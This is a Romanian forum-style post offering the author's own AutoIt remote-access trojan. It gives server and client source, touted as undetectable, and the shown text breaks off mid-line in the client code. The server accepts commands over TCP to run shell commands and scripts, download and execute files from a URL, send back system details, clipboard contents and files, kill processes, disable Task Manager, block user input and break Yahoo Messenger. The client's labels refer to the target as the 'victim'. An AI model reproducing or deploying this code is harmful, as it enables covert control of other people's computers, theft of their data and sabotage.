Softul este facut de mine, merge 100%, puteti compila fara upx, nu este detectabil. Modificati parametrii de lucru, cum doriti, scriptul este flaxibil, astfel puteti adauga lucruri personalizate ! SERVER: ;RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "system32", "REG_SZ", @ScriptFullPath) AutoItSetOption("WinTitleMatchMode", 4) Opt("GUICloseOnESC", 0) $text_fisiere = "" ;SERVER!! Start Me First !!!!!!!!!!!!!!! #include <GUIConstants.au3> #include <File.au3> #include <Process.au3> Dim $szIPADDRESS = @IPAddress1 ;~ MsgBox(0,"",$szIPADDRESS) Dim $nPORT = 1234 $rdownload="" ; Start The TCP Services ;============================================== TCPStartup() $MainSocket = TCPListen($szIPADDRESS, $nPORT, 100) If $MainSocket = -1 Then Exit Dim $ConnectedSocket = -1 Do $ConnectedSocket = TCPAccept($MainSocket) Until $ConnectedSocket <> - 1 Dim $szIP_Accepted = SocketToIP($ConnectedSocket) Dim $msg, $recv While 1 $msg = GUIGetMsg() $recv = TCPRecv($ConnectedSocket, 2048) If @error Then TCPCloseSocket($ConnectedSocket) TCPShutdown() TCPStartup() $MainSocket = TCPListen($szIPADDRESS, $nPORT, 100) Dim $ConnectedSocket = -1 Do $ConnectedSocket = TCPAccept($MainSocket) Until $ConnectedSocket <> - 1 $szIP_Accepted = SocketToIP($ConnectedSocket) EndIf If $recv <> "" Then executa() WEnd If $ConnectedSocket <> - 1 Then TCPCloseSocket($ConnectedSocket) TCPShutdown() Func SocketToIP($SHOCKET) Local $sockaddr = DllStructCreate("short;ushort;uint;char[8]") Local $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _ "ptr", DllStructGetPtr($sockaddr), "int_ptr", DllStructGetSize($sockaddr)) If Not @error And $aRet[0] = 0 Then $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3)) If Not @error Then $aRet = $aRet[0] Else $aRet = 0 EndIf $sockaddr = 0 Return $aRet EndFunc ;==>SocketToIP Func executa() ;~ MsgBox(0, "", $recv) $comanda = StringSplit($recv, "<|*|>", 1) If $comanda[1] = "mesaj" Then MsgBox(Number($comanda[2]), $comanda[3], $comanda[4]) EndIf If $comanda[1] = "shutdown" Then Shutdown($comanda[2]) EndIf If $comanda[1] = "funny" Then If $comanda[2] = "cd_rom" Then CDTray("C:", $comanda[3]) CDTray("D:", $comanda[3]) CDTray("E:", $comanda[3]) CDTray("F:", $comanda[3]) CDTray("G:", $comanda[3]) CDTray("H:", $comanda[3]) CDTray("I:", $comanda[3]) CDTray("J:", $comanda[3]) CDTray("K:", $comanda[3]) CDTray("L:", $comanda[3]) EndIf If $comanda[2]="blocheaza" Then BlockInput(Number($comanda[3])) EndIf If $comanda[2]="schimba_start" Then If $comanda[3]="reseteaza" Then ControlSetText("classname=Shell_TrayWnd", "", "Button1", "start") Else ControlSetText("classname=Shell_TrayWnd", "", "Button1", $comanda[3]) EndIf EndIf If $comanda[2]="ascunde_start" Then If $comanda[3]=1 Then ControlHide("classname=Shell_TrayWnd", "", "Button1") EndIf If $comanda[3]=0 Then ControlShow("classname=Shell_TrayWnd", "", "Button1") EndIf EndIf If $comanda[2] = "task_manager" Then If $comanda[3]="1" Then RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_SZ", $comanda[3]) Else RegDelete("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") EndIf EndIf If $comanda[2] = "yahoo" Then If $comanda[3] = "0" Then ProcessClose("YahooMessenger.exe") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "ConnServer", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Name", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Namer", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Http Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "PreLogin", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Relay Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Socket Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") Else RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "ConnServer", "REG_SZ", "scs.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Name", "REG_SZ", "scs.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Namer", "REG_SZ", "scs.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Http Server", "REG_SZ", "shttp.msg.yahoo.com/notify/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "PreLogin", "REG_SZ", "http://msg.edit.yahoo.com/config/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Relay Server", "REG_SZ", "relay.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Socket Server", "REG_SZ", "scs.msg.yahoo.com;scs.msg.yahoo.com") EndIf EndIf EndIf If $comanda[1] = "run" Then If $comanda[2] = "winamp" Then Run(@ProgramFilesDir & "\winamp\winamp.exe") EndIf If $comanda[2] = "win_rar" Then Run(@ProgramFilesDir & "\winrar\winrar.exe") EndIf If $comanda[2] = "ie" Then Run(@ProgramFilesDir & "\Internet Explorer\IEXPLORE.EXE") EndIf If $comanda[2] = "firefox" Then Run(@ProgramFilesDir & "\Mozilla Firefox\firefox.EXE") EndIf If $comanda[2] = "notepad" Then Run("notepad.exe") EndIf If $comanda[2] = "media_player" Then Run(@ProgramFilesDir & "\Windows Media Player\WMPLAYER.EXE") EndIf If $comanda[2] = "mspaint" Then Run("mspaint.exe") EndIf If $comanda[2] = "wordpad" Then Run(@ProgramFilesDir & "\Windows NT\Accessories\wordpad.exe") EndIf If $comanda[2] = "registrii" Then FileDelete(@WindowsDir & "\1.reg") FileWrite(@WindowsDir & "\1.reg",$comanda[3]) Run("Regedit.exe /s " & @WindowsDir & "\1.reg") EndIf If $comanda[2] = "visual_basic" Then FileDelete(@WindowsDir & "\1.vbs") FileWrite(@WindowsDir & "\1.vbs",$comanda[3]) Run("wscript.exe " & @WindowsDir & "\1.vbs") EndIf If $comanda[2] = "dos" Then $text=ClipGet() _RunDOS($comanda[3] & " | cb") $szData="dos<|*|>" & ClipGet() ClipPut($text) TCPSend($ConnectedSocket,$szData) EndIf If $comanda[2] = "executa" Then Run(@ComSpec & " /c " & "start " & FileGetShortName($comanda[3]),"",@SW_HIDE) EndIf EndIf If $comanda[1] = "tipareste" Then $fisier = "c:\ytz.txt" FileWriteLine($fisier, $comanda[2]) FileClose($fisier) _FilePrint($fisier) EndIf If $comanda[1]="informatii" Then $szData="informatii<|*|>"&@OSVersion &"<|*|>"&@OSBuild &"<|*|>"&@OSServicePack&"<|*|>"& @ComputerName&"<|*|>"& @UserName &"<|*|>"&@DesktopWidth &"x"& @DesktopHeight&"x"&@DesktopDepth&" "&@DesktopRefresh&"HZ<|*|>"&@HOUR&":"&@MIN&":"&@SEC &"<|*|>"&@MDAY&"."&@MON&"."&@YEAR&"<|*|>"&@HomeDrive $szData=$szData&"<|*|>"&@IPAddress1&"<|*|>"& @IPAddress2 &"<|*|>"&@IPAddress3&"<|*|>"&@IPAddress4&"<|*|>"&@LogonDNSDomain &"<|*|>"&@LogonDomain &"<|*|>"&@LogonServer TCPSend($ConnectedSocket,$szData) EndIf If $comanda[1]="clipboard" Then If $comanda[2]="citeste" Then TCPSend($ConnectedSocket,"clipboard<|*|>Continutul clipboardului este :" &@CRLF &ClipGet ( )) EndIf If $comanda[2]="seteaza" Then ClipPut($comanda[3]) EndIf If $comanda[2]="sterge" Then ClipPut("") EndIf EndIf If $comanda[1]="ferestre" Then $szData="" If $comanda[2]="refresh" Then If $comanda[3]="toate" Then $var = WinList() For $i = 1 to $var[0][0] If $var[$i][0] <> "" Then $szData=$szData& $var[$i][0] & "<|*|>" EndIf Next Else $var = WinList() For $i = 1 to $var[0][0] If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then $szData=$szData & $var[$i][0] & "<|*|>" EndIf Next EndIf TCPSend($ConnectedSocket,"ferestre<|*|>"& StringTrimRight ($szData,5)) EndIf If $comanda[2]="inchide" Then WinClose($comanda[3],"") EndIf If $comanda[3]="HIDE" Then WinSetState($comanda[2],"",@SW_HIDE) EndIf If $comanda[3]="@SW_SHOW" Then WinSetState($comanda[2],"",@SW_SHOW) EndIf If $comanda[3]="@SW_MAXIMIZE" Then WinSetState($comanda[2],"",@SW_MAXIMIZE) EndIf If $comanda[3]="@SW_MINIMIZE" Then WinSetState($comanda[2],"",@SW_MINIMIZE) EndIf EndIf If $comanda[1]="proces" Then If $comanda[2]="refresh" Then $var = ProcessList() $szData="" For $i = 1 to $var[0][0] $szData=$szData & $var[$i][0] & "<|*|>" Next TCPSend($ConnectedSocket,"procese<|*|>" & $szData) EndIf If $comanda[2]="inchide" Then ProcessClose($comanda[3]) EndIf If $comanda[2]="toate" Then $var = ProcessList() For $i = 1 to $var[0][0] If $var[$i][1] <> @ScriptName Then ProcessClose($var[$i][1]) EndIf Next EndIf EndIf If $comanda[1]="rdownload" Then If $rdownload="" Then $text=StringSplit($comanda[2],"/\") $nume_program_de_executat=$text[$text[0]] $marime_program=InetGetSize ( $comanda[2]) InetGet ( $comanda[2],@WindowsDir &"\"& $nume_program_de_executat, 1,1) $rdownload=1 EndIf EndIf If ($rdownload=1) And ($marime_program=FileGetSize(@WindowsDir &"\"& $nume_program_de_executat)) Then Run(@WindowsDir &"\"& $nume_program_de_executat) $rdownload="" EndIf If $comanda[1]="manager" Then If $comanda[2]="refresh_partitii" Then $var = DriveGetDrive( "all") If Not @error Then $partitii = "" For $i = 1 To $var[0] $partitii = $partitii & $var[$i] & "|" Next $partitii = StringTrimRight($partitii, 1) EndIf TCPSend($ConnectedSocket,"manager<|*|>refresh_partitii<|*|>|" & $partitii) EndIf If $comanda[2]="refresh_listwiev" Then director($comanda[3]) EndIf If $comanda[2]="redenumeste" Then ;~ MsgBox(0,"",$comanda[3] & " " &$comanda[4] & " " &$comanda[5] & " " &$comanda[5]) If $comanda[3]="director" Then DirMove($comanda[4] & $comanda[5],$comanda[4] & $comanda[6]) director($comanda[4]) EndIf If $comanda[3]="fisier" Then FileMove($comanda[4] & $comanda[5],$comanda[4] & $comanda[6]) director($comanda[4]) EndIf EndIf If $comanda[2]="creaza_dir" Then DirCreate ( $comanda[3] & $comanda[4] ) director($comanda[3]) EndIf If $comanda[2]="sterge" Then If $comanda[3]="director" Then DirRemove($comanda[4] & $comanda[5],1) director($comanda[4]) EndIf If $comanda[3]="fisier" Then FileDelete($comanda[4] & $comanda[5]) director($comanda[4]) EndIf EndIf If $comanda[2]="atribute" Then FileSetAttrib($comanda[3] & $comanda[4],"-RHSA") If StringUpper($comanda[5])<>"N" Then FileSetAttrib($comanda[3] & $comanda[4],StringUpper($comanda[5])) director($comanda[3]) EndIf EndIf If $comanda[2]="download" Then $fisier=FileOpen ("\\.\" & $comanda[3] & $comanda[4],4) $continut_fisier=FileRead ( $fisier,FileGetSize($comanda[3] & $comanda[4])) FileClose($fisier) $szData = "manager<|*|>download<|*|>"& $comanda[4] & "<|*|>" & $continut_fisier TCPSend($ConnectedSocket, $szData) EndIf EndIf EndFunc ;==>executa Func IsVisible($handle) If BitAnd( WinGetState($handle), 2 ) Then Return 1 Else Return 0 EndIf EndFunc Func director($cale) $search = FileFindFirstFile($cale & "*.*") $text_fisiere = "" If $search <> - 1 Then $punct = "" While 1 $file = FileFindNextFile($search) If @error Then ExitLoop $marime = FileGetSize($cale & $file) FileGetSize($cale & $file) $punct = StringRight($file, 4) $punct = StringLeft($punct, 1) If FileExists($cale & $file) And StringInStr(FileGetAttrib($cale & $file), "D")=0 Then $text_fisiere = $text_fisiere & $file & "|" & Round($marime / 1024, 2) & " Kb|Fisier|"& FileGetAttrib ( $cale & $file ) &"<|*|>" Else $text_fisiere = $text_fisiere & $file & "|" & "|Director|"& FileGetAttrib ( $cale & $file ) &"<|*|>" EndIf WEnd $text_fisiere = StringTrimRight($text_fisiere, 5) FileClose($search) EndIf If $text_fisiere="" Then $text_fisiere="In acest folder nu exista fisiere||<|*|>" EndIf TCPSend($ConnectedSocket,"manager<|*|>refresh_listwiev<|*|>" & $text_fisiere) EndFunc ;==>director CLIENT: #Include <GuiListView.au3> #include <GUIConstants.au3> #include <INet.au3> $nume_program = "Remote Client" $cale = "" Dim $nnPORT = 1234 Dim $ConnectedSocket = -1 $nr1 = 0 $nr2 = 0 Dim $numar $cd_rom = "open" $task_maneger = "1" $yahoo = "0" $conectare = "0" $blocheaza="0" $fer_principala = GUICreate($nume_program, 594, 443, 192, 125) $ip = @IPAddress1 If $ip = -1 Then $ip = @IPAddress1 $ip_conectare = GUICtrlCreateInput($ip, 8, 8, 100, 21, -1) $porturi = GUICtrlCreateInput($nnPORT, 120, 8, 50, 21, -1) $conecteza = GUICtrlCreateButton("Conectare", 264, 8, 129, 25) $Tab1 = GUICtrlCreateTab(8, 40, 585, 401) $TabSheet1 = GUICtrlCreateTabItem("Informatii PC") GUICtrlCreateLabel("Versiunea de Windows :", 20, 98, 119, 17) GUICtrlCreateLabel("Windows Build :", 20, 130, 80, 17) GUICtrlCreateLabel("Windows Service Pack :", 20, 162, 121, 17) GUICtrlCreateLabel("Numele Calculatorului :", 20, 206, 112, 17) GUICtrlCreateLabel("Numele Utilizatorului :", 20, 234, 105, 17) GUICtrlCreateLabel("Desktop :", 20, 282, 50, 17) GUICtrlCreateLabel("Ora locala :", 20, 322, 58, 17) GUICtrlCreateLabel("Data locala :", 20, 352, 64, 17) GUICtrlCreateLabel("Ip 1 :", 342, 112, 28, 17) GUICtrlCreateLabel("Ip 2 :", 342, 136, 28, 17) GUICtrlCreateLabel("Ip 3 :", 342, 160, 28, 17) GUICtrlCreateLabel("Ip 4:", 342, 184, 25, 17) GUICtrlCreateLabel("Home Drive :", 20, 400, 66, 17) GUICtrlCreateLabel("Logon DNS Domain :", 248, 264, 105, 17) GUICtrlCreateLabel("Logon Domain :", 248, 292, 79, 17) GUICtrlCreateLabel("Logon server :", 248, 316, 72, 17) $buton_informatii = GUICtrlCreateButton("Refresh", 500, 404, 75, 25) $versiune_windows = GUICtrlCreateInput("", 140, 96, 161, 21) $windows_build = GUICtrlCreateInput("", 100, 128, 133, 21) $windows_service_pack = GUICtrlCreateInput("", 136, 160, 157, 21) $nume_calculator = GUICtrlCreateInput("", 136, 204, 165, 21) $nume_utilizator = GUICtrlCreateInput("", 136, 232, 165, 21) $desktop = GUICtrlCreateInput("", 76, 284, 149, 21) $ora_locala = GUICtrlCreateInput("", 76, 320, 149, 21) $data_locala = GUICtrlCreateInput("", 84, 352, 141, 21) $home_drive = GUICtrlCreateInput("", 88, 396, 137, 21) $ip1 = GUICtrlCreateInput("", 372, 108, 121, 21) $ip2 = GUICtrlCreateInput("", 372, 132, 121, 21) $ip3 = GUICtrlCreateInput("", 372, 160, 121, 21) $ip4 = GUICtrlCreateInput("", 372, 184, 121, 21) $logon_dns_domain = GUICtrlCreateInput("", 352, 260, 177, 21) $logon_domain = GUICtrlCreateInput("", 352, 288, 177, 21) $logon_server = GUICtrlCreateInput("", 352, 320, 181, 21) $TabSheet2 = GUICtrlCreateTabItem("MsgBox") $intrebare = GUICtrlCreateRadio("Semnul Intrebarii", 36, 112, 113, 17) $informatie = GUICtrlCreateRadio("Informatie", 156, 112, 77, 17) $eroare = GUICtrlCreateRadio("Eroare", 36, 140, 113, 17) $nimic = GUICtrlCreateRadio("Nimic", 156, 140, 65, 17) GUICtrlSetState($nimic, $GUI_CHECKED) $Group1 = GUICtrlCreateGroup("Iconita Mesajului", 20, 96, 221, 77) GUICtrlCreateGroup("", -99, -99, 1, 1) $ok = GUICtrlCreateRadio("Ok", 40, 224, 113, 17) GUICtrlSetState(-1, $GUI_CHECKED) $ari = GUICtrlCreateRadio("Abort,Retry,Ignore", 168, 224, 113, 17) $ync = GUICtrlCreateRadio("Yes,No,Cancel", 168, 244, 113, 17) $yn = GUICtrlCreateRadio("Yes,No", 40, 244, 113, 17) $oc = GUICtrlCreateRadio("Ok,Cancel", 40, 268, 113, 17) $cr = GUICtrlCreateRadio("Cancel,Retry", 168, 268, 113, 17) $Group2 = GUICtrlCreateGroup("Butoanele Mesajului", 20, 196, 273, 113) GUICtrlCreateGroup("", -99, -99, 1, 1) $buton_test_msg = GUICtrlCreateButton("Testeaza", 468, 160, 75, 25) $buton_trimite_msg = GUICtrlCreateButton("Trimite", 468, 224, 75, 25) GUICtrlCreateLabel("Titlul Mesajului :", 36, 352, 79, 17) GUICtrlCreateLabel("Textul Mesajului :", 36, 392, 86, 17) $mesaj_titlu = GUICtrlCreateInput($nume_program, 124, 352, 441, 21, -1) $mesaj_text = GUICtrlCreateInput("Test", 124, 388, 441, 21, -1) $Group3 = GUICtrlCreateGroup("Functii", 436, 124, 137, 157) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet3 = GUICtrlCreateTabItem("Windows") $lista_ferestre = GUICtrlCreateList("", 24, 92, 321, 318, -1) $arata_ferestre_ascunse = GUICtrlCreateCheckbox("Arata si ferestrele ascunse", 76, 412, 193, 17) $buton_refresh_ferestre = GUICtrlCreateButton("Refresh", 464, 128, 75, 25) $buton_hide_ferestre = GUICtrlCreateButton("Ascunde", 464, 180, 75, 25) $buton_show_ferestre = GUICtrlCreateButton("Arata", 464, 224, 75, 25) $buton_minimize_ferestre = GUICtrlCreateButton("Minimize", 464, 272, 75, 25) $buton_maximize_ferestre = GUICtrlCreateButton("Maximize", 464, 328, 75, 25) $buton_inchide_ferestre = GUICtrlCreateButton("Inchide", 464, 376, 75, 25) $Group4 = GUICtrlCreateGroup("Functii", 416, 100, 161, 321) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet4 = GUICtrlCreateTabItem("Procese") $lista_procese = GUICtrlCreateList("", 16, 92, 325, 344, -1) $buton_refresh_procese = GUICtrlCreateButton("Refresh", 468, 128, 91, 25) $buton_inchide_proces = GUICtrlCreateButton("Inchide Proces", 468, 176, 91, 25) $buton_inchide_toate_procesele = GUICtrlCreateButton("Inchide toate", 468, 224, 91, 25) $Group5 = GUICtrlCreateGroup("Functii", 440, 108, 141, 157) GUICtrlCreateGroup("", -99, -99, 1, 1) GUICtrlSetCursor($TabSheet4, 2) $TabSheet5 = GUICtrlCreateTabItem("Comice") $buton_deschide_cd_rom = GUICtrlCreateButton("Deschide CD-Rom", 32, 100, 150, 25) $buton_task_manager = GUICtrlCreateButton("Blocheaza Task Mamager", 32, 140, 150, 25) $buton_yahoo = GUICtrlCreateButton("Blocheaza Y!", 32, 180, 150, 25) $Buton_blocheaza_user = GUICtrlCreateButton("Blocheaza User Input", 32, 220, 150, 25) $Buton_ascunde_start = GUICtrlCreateButton("Ascunde butonul Start", 32, 260, 150, 25) $Buton_schimba_start = GUICtrlCreateButton("Schimba text but. Start", 32, 300, 150, 25) $TabSheet6 = GUICtrlCreateTabItem("Shut Down PC") $Restart = GUICtrlCreateButton("Restart", 108, 120, 400, 25) $Turn_off_computer = GUICtrlCreateButton("Turn Off computer", 108, 188, 400, 25) $Log_off = GUICtrlCreateButton("Log Off", 108, 256, 400, 25) $shutdown_fortat = GUICtrlCreateButton("Shutdown Fortat", 108, 324, 400, 25) $TabSheet7 = GUICtrlCreateTabItem("Clipboard") $text_cliboard = GUICtrlCreateEdit("", 20, 88, 561, 269, -1) GUICtrlSetData($text_cliboard, "") $buton_citeste_clipboard = GUICtrlCreateButton("Citeste", 96, 392, 75, 25) $buton_seteaza_clipboard = GUICtrlCreateButton("Seteaza", 264, 392, 75, 25) $buton_sterge_clipboard = GUICtrlCreateButton("Curata", 452, 392, 75, 25) $Group6 = GUICtrlCreateGroup("Functii : ", 28, 368, 537, 65) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet8 = GUICtrlCreateTabItem("R. Download") GUICtrlCreateLabel("URL :", 56, 136, 52, 24) GUICtrlSetFont(-1, 12, 800, 0, "MS Sans Serif") $url_download = GUICtrlCreateInput("http://www.site-ul_tau.ro/virus.exe", 116, 136, 417, 21, -1) $buton_download_si_ruleaza = GUICtrlCreateButton("Download si Executa", 88, 176, 419, 25) $Group7 = GUICtrlCreateGroup("Remote Downloader", 28, 108, 545, 121) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet9 = GUICtrlCreateTabItem("Imprimanta") $text_tipareste = GUICtrlCreateEdit("", 16, 92, 565, 301, -1) $buton_tipareste = GUICtrlCreateButton("Scoate la imprimanta victimei", 148, 404, 279, 25) $TabSheet10 = GUICtrlCreateTabItem("Executa") $text_cmd = GUICtrlCreateEdit("", 12, 88, 577, 153, -1) GUICtrlSetData($text_cmd, "") GUICtrlSetColor(-1, 0xFFFF00) GUICtrlSetBkColor(-1, 0x000000) $buton_comanda_dos = GUICtrlCreateButton("Executa (DOS)", 460, 244, 107, 25) $run_program = GUICtrlCreateInput("Aici scrie calea catre un exe sau numele progranului (gen Notepad sau Regedit)", 16, 280, 433, 21, -1) $buton_Executa = GUICtrlCreateButton("Executa", 460, 280, 107, 25) $comanda_dos = GUICtrlCreateInput("Scrie aici o comanda DOS", 16, 246, 437, 21, -1) $buton_executa_vb = GUICtrlCreateButton("Executa un script VB", 24, 408, 243, 25) $executa_reg = GUICtrlCreateButton("Executa un fisier REG", 316, 408, 243, 25) $Winamp = GUICtrlCreateButton("Winamp", 36, 324, 75, 25) $Notepad = GUICtrlCreateButton("Notepad", 116, 324, 75, 25) $WinRar = GUICtrlCreateButton("WinRar", 196, 324, 75, 25) $IE = GUICtrlCreateButton("IE", 276, 324, 75, 25) $Firefox = GUICtrlCreateButton("Firefox", 356, 324, 75, 25) $paint = GUICtrlCreateButton("Paint", 36, 356, 75, 25) $wordpad = GUICtrlCreateButton("Wordpad", 116, 356, 75, 25) $Button10 = GUICtrlCreateButton("Aplicatie noua", 196, 356, 75, 25) $Windws_Media_Player = GUICtrlCreateButton("Media Player", 436, 324, 75, 25) $Button6 = GUICtrlCreateButton("Aplicatie noua", 276, 356, 75, 25) $Button12 = GUICtrlCreateButton("Aplicatie noua", 356, 356, 75, 25) $Button13 = GUICtrlCreateButton("Aplicatie noua", 436, 356, 75, 25) $Group9 = GUICtrlCreateGroup("Programe predefinite", 24, 308, 501, 89) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet11 = GUICtrlCreateTabItem("File Manager") $Combo1 = GUICtrlCreateCombo("", 110, 95, 200, 150) $buton_refresh_partitii = GUICtrlCreateButton("Refresh", 330, 95, 123, 25) $ListView1 = GUICtrlCreateListView("Nume|Marime|Tip|Atribute", 100, 130, 360, 270) $cale_cale = GUICtrlCreateLabel("", 20, 405, 380, 30) $buton_intra_in_folder = GUICtrlCreateButton("Intra in folder", 12, 150, 80, 33) $buton_sus = GUICtrlCreateButton("Up", 12, 200, 80, 33) $buton_refresh_fisiere = GUICtrlCreateButton("Refresh", 492, 128, 80, 25) $buton_download_fisiere = GUICtrlCreateButton("Download", 492, 164, 80, 25) $buton_upload_fisiere = GUICtrlCreateButton("Upload", 492, 200, 80, 25) $buton_sterge_fisiere = GUICtrlCreateButton("Sterge", 492, 236, 80, 25) $buton_redenumeste_fisiere = GUICtrlCreateButton("Redenumeste", 492, 272, 80, 25) $buton_creaza_dir_fisiere = GUICtrlCreateButton("Creaza Dir.", 492, 312, 80, 25) $buton_executa_fisiere = GUICtrlCreateButton("Executa", 492, 348, 80, 25) $buton_atribute_fisiere = GUICtrlCreateButton("Atribute", 492, 384, 80, 25) $Group8 = GUICtrlCreateGroup("Functii : ", 476, 108, 109, 321) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet12 = GUICtrlCreateTabItem("Pt. Viitor") $Edit1 = GUICtrlCreateEdit("", 44, 120, 473, 261, -1) GUICtrlSetData($Edit1, "Aici o sa apara in versiunile viitoare (sper) diferite facilitati (plugin-uri)" & @CRLF & " gen keyloger sau aflare parole" & @CRLF & "") GUICtrlCreateTabItem("") GUISetState(@SW_SHOW) $ascunde="0" $schimba="0" While 1 $recv = TCPRecv($ConnectedSocket, 1048576) If $recv <> "" Then executa() $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE ExitLoop ;~ ******************************************************************** Case $msg = $buton_test_msg config_msg() MsgBox($numar, GUICtrlRead($mesaj_titlu), GUICtrlRead($mesaj_text)) Case $msg = $buton_trimite_msg config_msg() $szData = "mesaj<|*|>" & $numar & "<|*|>" & GUICtrlRead($mesaj_titlu) & "<|*|>" & GUICtrlRead($mesaj_text) TCPSend($ConnectedSocket, $szData) Case $msg = $conecteza If $conectare = "0" Then If $ip_conectare <> "" Then TCPStartup() Dim $szIPADDRESS = GUICtrlRead($ip_conectare) $nPORT=GUICtrlRead($porturi) $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) If @error=0 Then GUICtrlSetData($conecteza, "Deconectare") $szData = "informatii" TCPSend($ConnectedSocket, $szData) $conectare = "1" EndIf EndIf Else TCPCloseSocket($ConnectedSocket) TCPShutdown() GUICtrlSetData($conecteza, "Conectare") $conectare = "0" EndIf Case $msg = $shutdown_fortat $szData = "shutdown<|*|>9" TCPSend($ConnectedSocket, $szData) Case $msg = $Restart $szData = "shutdown<|*|>2" TCPSend($ConnectedSocket, $szData) Case $msg = $Turn_off_computer $szData = "shutdown<|*|>8" TCPSend($ConnectedSocket, $szData) Case $msg = $Log_off $szData = "shutdown<|*|>0" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_deschide_cd_rom If $cd_rom = "open" Then $szData = "funny<|*|>cd_rom<|*|>open" GUICtrlSetData($buton_deschide_cd_rom, "Inchide CD-Rom") $cd_rom = "close" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>cd_rom<|*|>close" GUICtrlSetData($buton_deschide_cd_rom, "Deschide CD-Rom") $cd_rom = "open" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_task_manager If $task_maneger = "1" Then $szData = "funny<|*|>task_manager<|*|>1" GUICtrlSetData($buton_task_manager, "Deblocheaza Task Manager") $task_maneger = "0" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>task_manager<|*|>0" GUICtrlSetData($buton_task_manager, "Bloheaza Task Manager") $task_maneger = "1" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Buton_blocheaza_user If $blocheaza = "0" Then $szData = "funny<|*|>blocheaza<|*|>1" GUICtrlSetData($Buton_blocheaza_user, "Deblocheaza User Input") $blocheaza = "1" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>blocheaza<|*|>0" GUICtrlSetData($Buton_blocheaza_user, "Bloheaza User Input") $blocheaza = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Buton_schimba_start If $schimba = "0" Then $text2=InputBox("Schimba textul butonului Start","Introdu noul text pentru buonul start (maxim 5 liere mici, sau 4 litere mari sau sinboluri)","","",250,150) If @error <> 1 Then GUICtrlSetData($Buton_schimba_start, "Reseteaza text but. Start") $schimba = "1" $szData = "funny<|*|>schimba_start<|*|>" & $text2 TCPSend($ConnectedSocket, $szData) EndIf Else $szData = "funny<|*|>schimba_start<|*|>reseteaza" GUICtrlSetData($Buton_schimba_start, "Schimba text but. Start") $schimba = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Buton_ascunde_start If $ascunde = "0" Then $szData = "funny<|*|>ascunde_start<|*|>1" GUICtrlSetData($Buton_ascunde_start, "Arata butonul Start") $ascunde = "1" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>ascunde_start<|*|>0" GUICtrlSetData($Buton_ascunde_start, "Ascunde butonul Start") $ascunde = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_yahoo If $yahoo = "0" Then $szData = "funny<|*|>yahoo<|*|>0" GUICtrlSetData($buton_yahoo, "Deblocheaza Y!") $yahoo = "1" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>yahoo<|*|>1" GUICtrlSetData($buton_yahoo, "Blocheaza Y!") $yahoo = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Winamp $szData = "run<|*|>winamp" TCPSend($ConnectedSocket, $szData) Case $msg = $Notepad $szData = "run<|*|>notepad" TCPSend($ConnectedSocket, $szData) Case $msg = $WinRar $szData = "run<|*|>win_rar" TCPSend($ConnectedSocket, $szData) Case $msg = $IE $szData = "run<|*|>ie" TCPSend($ConnectedSocket, $szData) Case $msg = $Firefox $szData = "run<|*|>firefox" TCPSend($ConnectedSocket, $szData) Case $msg = $Windws_Media_Player $szData = "run<|*|>media_player" TCPSend($ConnectedSocket, $szData) Case $msg = $paint $szData = "run<|*|>mspaint" TCPSend($ConnectedSocket, $szData) Case $msg = $wordpad $szData = "run<|*|>wordpad" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_Executa $szData = "run<|*|>executa<|*|>" & GUICtrlRead($run_program) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_comanda_dos $szData = "run<|*|>dos<|*|>" & GUICtrlRead($comanda_dos) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_tipareste $szData = "tipareste<|*|>" & 